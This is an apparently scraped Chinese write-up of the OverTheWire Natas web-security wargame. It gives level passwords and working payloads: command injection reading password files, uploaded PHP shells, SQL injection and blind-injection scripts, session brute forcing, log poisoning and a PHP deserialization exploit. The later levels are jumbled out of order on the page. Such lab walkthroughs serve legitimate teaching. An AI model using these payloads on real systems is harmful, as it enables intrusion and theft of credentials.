前言:
  Natas是一个教授服务器端Web安全基础知识的 wargame,通过在每一关寻找Web安全漏洞,来获取通往下一关的秘钥,适合新手入门Web安全。
 
 
  
  
接下来给大家分享一下,1-20题的WriteUp。
Natas0:
  提示密码就在本页,右键查看源码,注释中发现
  key
 
 
 
  Key:gtVrDuiDfck831PqWsLEZy5gyDz1clto
 
 
 
  知识点:查看页面源码
 
 
  
Natas1:
  提示密码就在本页,但右键被禁用,可以使用
  F12查看元素得到key。
 
 
 
  (常用的查看源码方法:右键查看、
  F12查看元素,给页面url前加’view-source:’查看,使用Linux Curl命令查看)
 
 
 
  Key:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
 
 
 
  知识点:查看页面源码
 
 
  
Natas2:
  在源码中发现一个图片的链接,分析图片,无隐写内容,联想到目录权限问题,访问同级目录
  http://natas2.natas.labs.overthewire.org/files,发现存在名为users.txt的文件,读取得到key。
 
 
 
  Key:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
 
 
 
  知识点:水平越权
 
 
  
Natas3:
  在源码中发现提示:无信息泄露,谷歌这次不会发现它。提到了搜索引擎,猜测爬虫协议
  robots.txt中存在信息泄露,访问网站爬虫协议http://natas3.natas.labs.overthewire.org/robots.txt,发现Disallow: /s3cr3t/,尝试访问一下该目录http://natas3.natas.labs.overthewire.org/s3cr3t/,发现了user.txt,读取得到key。
 
 
 
  Key:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
 
 
 
  知识点:爬虫协议
  robots.txt
 
 
  
Natas4:
  提示来源出错,合法用户只能来自
  "http://natas5.natas.labs.overthewire.org/",在http的header中,referer代表从哪里跳转到本页面,只需要将该url写入到referer中即可。
 
 
 
  (修改
  referer的值,可以用Burp Suite抓包后修改,也可以使用firefox插件hackbar来完成,还可以使用curl命令的 --referer参数来实现。)
 
 
 
  Key:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
 
 
 
  知识点:页面来源伪造
 
 
  
Natas5:
  提示不允许进入,没有登录,查看
  cookie信息后发现存在loggedin项,且值为0,猜测该值代表是否登录,将其修改为1,得到key。
 
 
 
  (
  cookie信息是网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据,可以使用Burp Suite抓包后修改,也可以使用火狐的FireBug插件来编辑修改,还可以使用linux curl命令的 --cookie参数来修改)
 
 
 
  Key:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
 
 
 
  知识点:
  cookie伪造
 
 
  
Natas6:
  该题提供了
  php源码,点击查看分析,发现调用了includes/secret.inc页面,在输入一个变量secret后,如果和includes/secret.inc中 预设的secret相同,则输出密码,尝试访问该页面—http://natas6.natas.labs.overthewire.org/includes/secret.inc,在其源码中发现预设字符——"FOEIUWGHFEEUHOFUOIU",将该字符输入到之前的表单查询中,得到key。
 
 
 
  Key:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
 
 
 
  知识点:
  PHP Include 
 
 
  
Natas7:
  页面出现了两个选项,点击后跳转,观察
  url发现了page参数,猜测可能存在任意文件读取漏洞,且源码给了提示,密码在/etc/natas_webpass/natas8 中,将/etc/natas_webpass/natas8设为page参数的值,成功读取到key。
 
 
 
  Key:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
 
 
 
  知识点:
   任意文件读取漏洞
 
 
  
Natas8:
  同样给了
  php源码,审计源码,发现给了一个预设参数encodedSecret,以及一个加密函数encodeSecret, 该函数将secret参数先进行base64编码、然后用strrev 函数进行倒序,再用 bin2hex 函数转为16进制,返回结果。如果点击提交,且post传入的secret 参数值经加密后,等于 encodedSecret 参数的值,则输出key。至此,只需要将 encodedSecret的值逆推,然后post即可。
 
 
 
  先把
  ’3d3d516343746d4d6d6c315669563362’从16进制转成字符,然后把该字符串倒序,最后将之base64解码,得到’oubWYf2kBqz',将该字符串post得到key。
 
 
 
  Key:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
 
 
 
  知识点:常见编码、
  php函数
 
 
  
Natas9:
  仍然给出源码,审计,发现使用了
  php命令执行函数passthru,执行了grep命令,由此想到命令注入漏洞,且已知各等级密码均存储在/etc/natas_webpass目录下,使用;或|或&来截断grep命令,再用cat读取密码,用#注释掉后面的内容,构造如下:& cat /etc/natas_webpass/natas10 #,post得到key。
 
 
 
  Key:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
 
 
 
  知识点:命令注入漏洞
 
 
  
Natas10:
  这题和上题类似,但使用了正则过滤,过滤掉了一些字符,无法继续截断,但可以利用
  grep命令匹配密码来实现,grep支持正则,输入 [a-zA-Z] /etc/natas_webpass/natas11 #
 
 
 
  即可得到
  key。
 
 
 
  Key:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
 
 
 
  知识点:正则表达式、
  grep命令
 
 
  
Natas11:
  页面提示
  cookie被异或加密保护,查看源码,发现了一个预定义参数和三个函数
 
 
 
  参数:$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff") #猜测将showpassword设置为yes即可得到密码。
 
 
 
  异或加密函数:
 
 
 
    [PHP] 
    纯文本查看 复制代码
   
 
   | 
          01
          
          02
          
          03
          
          04
          
          05
          
          06
          
          07
          
          08
          
          09
          
          10
          | functionxor_encrypt($in){    $key= '<censored>';  #预定义参数key    $text= $in;          #输入参数    $outText= '';          #输出参数    // Iterate through each character    for($i=0;$i<strlen($text);$i++) {    #for循环,遍历输入参数    $outText.= $text[$i] ^ $key[$i% strlen($key)];  #将输入参数对应位和key对应位异或,key位数不够则从头循环,结果存到输出参数    }    return$outText;         #返回加密结果} | 
  加载函数:
  function loadData($def),加载data,将$_COOKIE["data"]解密还原,存为 $mydata 数组,返回$mydata。
 
 
 
  保存函数:function saveData($d),将传入的参数,经过编码处理,存入$_COOKIE["data"]中。
 
 
 
   主要思路就是得到构造新的输入参数,使得
   "showpassword"=>"yes",编码后得到新的data。这就要求要知道key的值,而已有一个默认值,由此逆推得到key。
  
 
 
   [PHP] 
   纯文本查看 复制代码
  
 
  | 
         01
         
         02
         
         03
         
         04
         
         05
         
         06
         
         07
         
         08
         
         09
         
         10
         
         11
         
         12
         
         13
         | <?php$defaultdata= array( "showpassword"=>"no", "bgcolor"=>"#ffffff");$data= 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw';functionxor_encrypt($in,$out) {    $key='';    $text= $in;    for($i=0;$i<strlen($text);$i++) {    $key.= $text[$i] ^ $out[$i];    }    return$key;} echoxor_encrypt(json_encode($defaultdata),base64_decode($data)); ?> | 
  得到
  key:$key = ’qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq’
 
 
 
  再利用
  key,构造新data:
 
 
 
    [PHP] 
    纯文本查看 复制代码
   
 
   | 
          01
          
          02
          
          03
          
          04
          
          05
          
          06
          
          07
          
          08
          
          09
          
          10
          
          11
          
          12
          
          13
          
          14
          
          15
          | <?php$defaultdata= array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");functionxor_encrypt($in) {    $key= 'qw8J';    $text= $in;    $outText= '';    // Iterate through each character    for($i=0;$i<strlen($text);$i++) {    $outText.= $text[$i] ^ $key[$i% strlen($key)];    }    return$outText;}echobase64_encode(xor_encrypt(json_encode($defaultdata)));?> | 
  得到新的
  data:ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
 
 
 
  替换
  cookie中的data,得到key。
 
 
 
  Key:EDXp0pS26wLKHZy1rDBPUZk0RK**IR3
 
 
 
  知识点:常见编码、异或逆推、修改
  cookie
 
 
  
Natas12:
  文件上传页面,发现没做过滤,只是把上传后的文件名及后缀名修改了,思路就是上传一个简单的
  php文件,读取/etc/natas_webpass/natas13。点击上传php文件,用burp拦截,修改name后缀为php,访问返回的php页面即可得到key  。
 
 
 
   [PHP] 
   纯文本查看 复制代码
  
 
  | 
         1
         
         2
         
         3
         | <?phpsystem('cat /etc/natas_webpass/natas13');?> | 
  Key:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
 
 
 
  知识点:文件上传、抓包修改
 
 
 Natas13:
  还是文件上传,测试上传发现过滤,
  exif_imagetype()函数,用于检验文件是否是图片,读取一个图像的第一个字节并检查其签名,只要在php文件最前面加上图片信息签名即可绕过。
 
 
 
   [PHP] 
   纯文本查看 复制代码
  
 
  | 
         1
         
         2
         
         3
         
         4
         
         5
         | GIF89a<?phpsystem('cat /etc/natas_webpass/natas14');?> | 
  其余与
  12题相同。
 
 
 
  Key:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
 
 
 
  知识点:文件上传,绕过签名检测
 
 
  
Natas14:
  是一个登录界面,有源码,查看源码后发现是一个无过滤的
  sql注入题,使用万能密码登录即可。
 
 
 
  Username:admin" or 1=1 #
 
 
 
  password没做空值校验,随便输入或不输入皆可。
 
 
 
  Key:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
 
 
 
  知识点:
  sql万能密码
 
 
  
Natsa15:
  依旧是
  sql注入题,查看源码,分析一下,发现没有sql信息的回显,只有对用户名的判断,确定是sql盲注。
 
 
 
  Sql查询语句如下:
 
 
 
    [PHP] 
    纯文本查看 复制代码
   
 
   | 
          1
          | $query= "SELECT * from users where username=\"".$_REQUEST["username"]."\""; | 
  Databse构造语句如下:
 
 
 
    [PHP] 
    纯文本查看 复制代码
   
 
   | 
          1
          
          2
          
          3
          
          4
          | CREATE TABLE `users` (   `username` varchar(64) DEFAULT NULL,   `password` varchar(64) DEFAULT NULL ); | 
  猜测一下,是否存在
  user=natas16,返回存在,因为每一关的key都长达32位,不容易爆破,使用注入得到password更合适一些。虽然sql语句中只查询了username,但可以使用and将对password的查询连接起来,构成布尔注入,使用like模糊查询,最终得到key。
 
 
 
  Payload:
 
 
 
    [PHP] 
    纯文本查看 复制代码
   
 
   | 
          1
          | 'username':'natas16" AND password LIKE binary "%s"%字符' | 
   脚本:
  
 
 
    [Python] 
    纯文本查看 复制代码
   
 
   | 
          01
          
          02
          
          03
          
          04
          
          05
          
          06
          
          07
          
          08
          
          09
          
          10
          
          11
          
          12
          
          13
          
          14
          
          15
          
          16
          | importrequestsurl ="http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/index.php"chr="ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"payload =r'natas16" AND password LIKE binary "%s" #'#使用like模糊查询不会区分大小写,要带上binary。key ="%"whilelen(key) <=32: #循环32次    fori inchr:        #确定字符        a =key[:-1]+i+key[-1:]        printa        req =requests.post(url=url,data={'username':payload%a})        if"This user exists"inreq.text:            key =a            printkey     printkey    #输出key | 
  Key:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
 
 
 
  知识点:
  sql盲注之布尔盲注
 
 
  
  Natas16:
 
 
 
  这一关相较于之前的第
  10题,加上了正则过滤,使得;|&`\'"无法使用,且在grep的检索中添加了引号,无法添加其他选项和参数。代码:
 
 
 
    [PHP] 
    纯文本查看 复制代码
   
 
   | 
          1
          | passthru("grep -i \"$key\" dictionary.txt"); | 
   但在
   PHP中,$()可以在引号中使用,因此,可以再次构造内层grep的正则匹配,即:
  
 
 
    [PHP] 
    纯文本查看 复制代码
   
 
   | 
          1
          | passthru("grep-i "($grep^a  etc/natas_webpasswd/natas17)wrong \" dictionary.txt"); | 
  如果
  password的首字母为a,内层检索到了内容,则返回不为空,与后面的查询连接,使得外层检索变形,从而不返回标志字符hello;
 
 
 
  如果不为
  a,则内层未检索到,返回为空,则继续进行外层检索,会输出标志字符wrong或其他内容。
 
 
 
  抓包查看数据提交方式,是
  get提交,格式为?needle=xxxx&submit=Search。
 
 
 
  据此,构造脚本,得到
  key。
 
 
 
  脚本:
 
 
 
    [Python] 
    纯文本查看 复制代码
   
 
   | 
          01
          
          02
          
          03
          
          04
          
          05
          
          06
          
          07
          
          08
          
          09
          
          10
          
          11
          | importrequestskey =''char ='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'[/color][/font][/align][align=left][font=宋体][color=Black][/color][/font][/align][align=left][font=宋体][color=Black]whilelen(key) < 32:    fori inrange(len(char)):        payload ={'needle':'$(grep ^'+key+char+'.* /etc/natas_webpass/natas17)wrong','submit':'Search'}        req =requests.get(url=url,params=payload)        if'wrong'notinreq.text:            key +=char    printkey | 
  Key:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
 
 
 
  知识点:正则匹配,
  php命令执行
 
 
  
Natas17:
  分析源码,又是一道
  sql注入题,与15题的内容类似,只是不再提供回显,所有echo均被注释掉了,查询语句如下:
 
 
 
  猜测到
  username为natas18,依旧是盲注的思想,但因为没有作为判断的回显,所以这次选择时间盲注,使用if()和sleep()函数完成注入。
 
 
 
  脚本:
 
 
 
    [Python] 
    纯文本查看 复制代码
   
 
   | 
          01
          
          02
          
          03
          
          04
          
          05
          
          06
          
          07
          
          08
          
          09
          
          10
          
          11
          
          12
          
          13
          
          14
          
          15
          
          16
          
          17
          
          18
          
          19
          
          20
          | importrequests[/color] [color=Black]url ='http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/index.php'key =''fori inrange(1,33):    a =32    c =126    whilea<c:        b =(a+c)/2        payload=r'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(2),1) and "" like "'%(b,i)        try:            req =requests.post(url=url,data={"username":payload},timeout=2)        exceptrequests.exceptions.Timeout,e:            a=b+1            b=(a+c)/2            continue        c=b    key +=chr(b)    printkey | 
  Key:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
 
 
 
  知识点:
  sql盲注之时间盲注
 
 
  
Natas18:
  一个登录界面,查看源码,发现没有连接数据库,使用
  Session登录,且$maxid设定了不大的上限,选择采取爆破。
 
 
 
  用
  burp抓包,给headers里添加cookie项PHPSESSID,使用intruder的狙击模式,爆破PHPSESSID,从1-640,当为138时,成功登陆,得到key。
 
 
 
  过程如图:
 
 
 
  <ignore_js_op> 
 
 
 
  
  
  
 
  <ignore_js_op>
   
 
 
 
  
 
 
  Key:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
 
 
 
  知识点:
   Session登录,暴力破解
 
 
  
Natas19:
  提示,遇上一题源码类似,只是
  PHPSESSID不连续。随便输入username和password,抓包观察PHPSESSID,发现是输入的信息,按照password-username的格式,由ascill码转化为16进制,猜测正确PHPSESSID,应该是id-admin,用python构造字典,burp抓包后使用intruder模块,导入字典后进行暴力破解。
 
 
 
  字典脚本:
 
 
 
    [Python] 
    纯文本查看 复制代码
   
 
   | 
          1
          
          2
          
          3
          
          4
          
          5
          
          6
          
          7
          | a =[]fori inrange(30,40):    forj inrange(30,40):        a.append( '%d%d'%(i,j))with open("1.txt","w")as f:    fori ina:        f.write(i+"\n") | 
  当
  PHPSESSID=38392d61646d696e时,得到key。
 
 
 
  Key:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
 
 
 
  知识点:
  Session登录,常见编码,暴力破解
 
 
  
Natas20:
  读取源码,发现把
  sessionID存到了文件中,按键值对存在,以空格分隔,如果$_SESSION["admin"]==1,则成功登陆,得到key。并且通过查询所提交的参数,也会被存到文件中,因此,可以采取注入键值对admin 1的方式来实现修改。
 
 
 
  使用
  burp抓包,将name参数修改位:name=111 %0Aadmin 1,得到key。
 
 
 
  Key:IFekPyrQXftziDEsUr3x21sYuahypdgJ
 
 
 
  知识点:
  Session登录,注入参数
 
 
 
  Natas21:
  
 
   
    
     
      
       
      
      
     
    
   
print "Password: <censored></pre>";[/mw_shl_code] 
   
    
     
      
       
      
      
     
    
   
  
Natas22:
 
   
    
     
      
       
      
      
     
    
   
   
    
     
      
       
      
      
     
    
   
  
    
   
  
    
   
   
    
     
      
       
      
      
     
    
   
  
    
   
  
    
   
  Natas24:
  
 
   
    
     
      
       
      
      
     
    
   
  
    
   
  
    
   
  Natas25:
  
 
   
    
     
      
       
      
      
     
    
   
  
 
  
    
   
  Natas26:
  
 
   
    
     
      
       
      
      
     
    
   
   
    
     
      
       
      
      
     
    
   
  
END~
 
 
   提示
   http://natas21.natas.labs.overthewire.org/页面和http://natas21-experimenter.natas.labs.overthewire.org页面同位,也就是共用服务器,session也是共用的。
  
 
  
   查看第一个网页源码,发现主要功能就是判断
   session[admin]=1后显示密码;
  
 
  
     [PHP] 
     纯文本查看 复制代码
    
 
    | 
           1
           
           2
           
           3
           
           4
           
           5
           | 查看第一个网页源码,发现主要功能就是判断session[admin]=1后显示密码;if($_SESSIONandarray_key_exists("admin", $_SESSION) and$_SESSION["admin"] == 1) { print"You are an admin. The credentials for the next level are:<br>"; print"<pre>Username: natas22\n"; print"Password: <censored></pre>"; | 
print "Password: <censored></pre>";[/mw_shl_code]
   查看第二个网页源码,发现可以提交数据,更新session,虽然有POST参数校验,但仍可以注入admin=1。
  
 
  
   可利用源码:
  
 
  
     [PHP] 
     纯文本查看 复制代码
    
 
    | 
           1
           
           2
           
           3
           
           4
           
           5
           
           6
           | //  if update was submitted, store it if(array_key_exists("submit", $_REQUEST)) {                             foreach($_REQUESTas$key=> $val) {     $_SESSION[$key] = $val;     } } | 
   直接在第二个页面提交数据,
   burp抓包截取,在post参数最后加上admin=1,然后使用第二个网页的session id,更新第一个网页的session id,刷新得到key。
  
 
  
   Key:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
  
 
  
   知识点:
   共用
   session、session注入
  
 
  Natas22:
   查看源码,发现关键代码:
  
 
  
     [PHP] 
     纯文本查看 复制代码
    
 
    | 
           1
           
           2
           
           3
           
           4
           
           5
           | if(array_key_exists("revelio", $_GET)) {     // only admins can reveal the password     if(!($_SESSIONandarray_key_exists("admin", $_SESSION) and$_SESSION["admin"] == 1)) {     header("Location: /");     } | 
   header(“Location: /”)
   中,
   header
   函数表示发送一个原始 
   Http Header
   到客户端,指定
   Location
   是进行重定向,
   /
   表示本地,即刷新。
  
 
  
     [PHP] 
     纯文本查看 复制代码
    
 
    | 
           1
           
           2
           
           3
           
           4
           
           5
           
           6
           | //  if update was submitted, store it if(array_key_exists("submit", $_REQUEST)) {                             foreach($_REQUESTas$key=> $val) {     $_SESSION[$key] = $val;     } } | 
   如果
   get参数中包含revelio,则输出key。
  
 
  
   总结思路,先在
   get参数中添加revelio,满足显示key条件,但要避免刷新,所以使用burp抓包,把第一次抓到的数据包放到Repeater中Go一下,这样可以避免第二次的跳转,在返回中看到了key。
  
 
  
   Key:D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
  
 
  
   知识点:
   header重定向、burp截取抓包
  
 
  
   Natas23:
  
 
  
   登录题,查看源码,发现关键代码:
  
 
  
     [PHP] 
     纯文本查看 复制代码
    
 
    | 
           1
           
           2
           
           3
           
           4
           
           5
           
           6
           
           7
           
           8
           | if(array_key_exists("passwd",$_REQUEST)){       if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){           echo"<br>The credentials for the next level are:<br>";           echo"<pre>Username: natas24 Password: <censored></pre>";       }       else{           echo"<br>Wrong!<br>";       } | 
   要求提交的passwd参数中包含字符iloveyou,且要其数值大于10。考察的就是php字符与数值比较时,会从开头截取数字,到字符前为止。所以构造passwd为11iloveyou即可。
  
 
  
   Key:OsRmXFguozKpTZZ5X14zNO43379LZveg
  
 
  
   知识点:php弱类型
  
 
  
   还是登录题,查看源码,发现关键代码:
  
 
  
     [AppleScript] 
     纯文本查看 复制代码
    
 
    | 
           01
           
           02
           
           03
           
           04
           
           05
           
           06
           
           07
           
           08
           
           09
           
           10
           | <?php    if(array_key_exists("passwd",$_REQUEST)){        if(!strcmp($_REQUEST["passwd"],"<censored>")){            echo "<br>The credentials for the next level are:<br>";            echo "<pre>Username: natas25 Password: <censored></pre>";        }        else{            echo "<br>Wrong!<br>";        }} | 
   存在
   strcmp()函数,strcmp()函数的作用是比较两个字符串,相同则为0。由此自然想到了strcmp漏洞,strcmp函数无法比较数组,会返回0,将passwd输入为数组即可绕过。
  
 
  
   Payload: [url]http://natas24.natas.labs.overthewire.org/?passwd[/url][]=1
  
 
  
   Key:GHF6X7YwACaYYssHVY05cFq83hRktl4c
  
 
  
   知识点:
   strcmp绕过漏洞
  
 
  
   查看源码,发现关键函数:
  
 
  
     [PHP] 
     纯文本查看 复制代码
    
 
    | 
           01
           
           02
           
           03
           
           04
           
           05
           
           06
           
           07
           
           08
           
           09
           
           10
           
           11
           
           12
           
           13
           
           14
           
           15
           
           16
           
           17
           
           18
           
           19
           
           20
           
           21
           
           22
           
           23
           
           24
           
           25
           
           26
           
           27
           
           28
           
           29
           
           30
           
           31
           
           32
           
           33
           
           34
           | functionsetLanguage(){                         #选择语言        /* language setup */        if(array_key_exists("lang",$_REQUEST))                    if(safeinclude("language/". $_REQUEST["lang"] ))#检查输入                return1;        safeinclude("language/en");               }functionsafeinclude($filename){                #检查输入参数        // check for directory traversal        if(strstr($filename,"../")){            #禁止目录遍历            logRequest("Directory traversal attempt! fixing request.");            $filename=str_replace("../","",$filename);        }        // dont let ppl steal our passwords        if(strstr($filename,"natas_webpass")){  #文件访问控制            logRequest("Illegal file access detected! Aborting!");            exit(-1);        }        // add more checks...        if(file_exists($filename)) {           #检测目录是否存在            include($filename);            return1;        }        return0;}functionlogRequest($message){                   #请求日志   $log="[". date("d.m.Y H::i:s",time()) ."]";   #时间日期   $log=$log. " ". $_SERVER['HTTP_USER_AGENT'];#加http_user_agent   $log=$log. " \"". $message."\"\n";         #加上message   $fd=fopen("/var/www/natas/natas25/logs/natas25_". session_id() .".log","a");                                            #将日志信息写入文件        fwrite($fd,$log);        fclose($fd);    } | 
   禁止目录遍历中,将
   ”../”替换成了”“,但这是可以绕过的,if是一次性把所有符合的替换掉,构造复合的参数即可绕过,例如:....//、..././。
  
 
  
   而文件访问控制,则使得无法直接读取
   key,但存在日志信息,日志信息中保存有http_user_agent,这可以是新的注入点,把读取文件的php命令写入其中,访问即可得到key。
  
 
  
   先访问日志文件
  
 
  
   ../?lang=....//....//....//....//....//....//var/www/natas/natas25/logs/natas25_65pv1nmmkorshdjlem56ktptf5.log
  
 
  
   再使用
   burp抓包,修改HTTP_USER_AGRENT为:<?php include("/etc/natas_webpass/natas26")?>,在返回的日志文件中得到key。
  
 
  
   Key:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
  
 
  
   知识点:
   绕过
   if替换、代码审计
  
 
  
   查看源码,发现了
   php反序列化函数unserialize(),且可以通过cookie来控制unserialize()的变量,猜测存在php反序列化漏洞。
  
 
  
   Php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。
  
 
  
   Php反序列化:将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。
  
 
  
   php反序列化漏洞:php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过设定注入参数来完成想要实现的目的。
  
 
  
   关键代码:
  
 
  
     [PHP] 
     纯文本查看 复制代码
    
 
    | 
           01
           
           02
           
           03
           
           04
           
           05
           
           06
           
           07
           
           08
           
           09
           
           10
           
           11
           
           12
           
           13
           
           14
           
           15
           
           16
           
           17
           
           18
           
           19
           
           20
           
           21
           
           22
           
           23
           
           24
           
           25
           
           26
           
           27
           
           28
           | classLogger{                         private$logFile;                        #三个私有参数        private$initMsg;        private$exitMsg;        function__construct($file){    #类创建时调用            // initialise variables     #初始化变量            $this->initMsg="#--session started--#\n";            $this->exitMsg="#--session end--#\n";            $this->logFile = "/tmp/natas26_". $file. ".log";            // write initial message       #写入初始信息            $fd=fopen($this->logFile,"a+");            fwrite($fd,$initMsg);            fclose($fd);        }                               functionlog($msg){                #写入信息            $fd=fopen($this->logFile,"a+");            fwrite($fd,$msg."\n");            fclose($fd);        }                               function__destruct(){        #类销毁时调用            // write exit message        #写入退出信息                    $fd=fopen($this->logFile,"a+");            fwrite($fd,$this->exitMsg);            fclose($fd);        }                       } | 
   观察代码可以发现,在类销毁时调用的
   __destruct()魔术方法,可以向任意文件写入信息。
  
 
  
   if (array_key_exists("drawing", $_COOKIE)){
  
 
  
               $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
  
 
  
           }
  
 
  
   而且,可以通过
   cookie来写入序列化注入信息。
  
 
  
   总结思路,通过
   cookie来注入信息,利用反序列化漏洞来构造可以执行查看key的payload,写入到目录下即可。
  
 
  
   Payload:
  
 
  
     [PHP] 
     纯文本查看 复制代码
    
 
    | 
           01
           
           02
           
           03
           
           04
           
           05
           
           06
           
           07
           
           08
           
           09
           
           10
           
           11
           
           12
           
           13
           
           14
           
           15
           
           16
           
           17
           | <?phpclassLogger{        private$logFile;        private$initMsg;        private$exitMsg;        function__construct(){   #注入信息            $this->initMsg="";            $this->exitMsg="<?echo include '/etc/natas_webpass/natas27';?>";            $this->logFile="img/aaa.php";        }}$test= newLogger();echoserialize($test);echo"\n";echobase64_encode(serialize($test));    #显示base64编码后的序列化字符串?> | 
   本地执行,得到
   base64编码后的序列化字符串:
  
 
  
   Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMToiaW1nL2FhYS5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czowOiIiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo0NjoiPD9lY2hvIGluY2x1ZGUgJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jzs/PiI7fQ==
  
 
  
   把字符串覆盖到
   cookie[drawing]中,访问../img/aaa.php即可得到key。
  
 
  
   Key:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
  
 
  
   知识点:
   php反序列化漏洞、代码审计
  
 
  END~
 
                   
                   
                   
                   
                     
       
           
                 
                 
                 
                 
                 
                
               
                 
                 
                 
                 
                
               
                 
                 扫一扫
扫一扫
                     
              
             
                   1314
					1314
					
 被折叠的  条评论
		 为什么被折叠?
被折叠的  条评论
		 为什么被折叠?
		 
		  到【灌水乐园】发言
到【灌水乐园】发言                                
		 
		 
    
   
    
   
             
            


 
            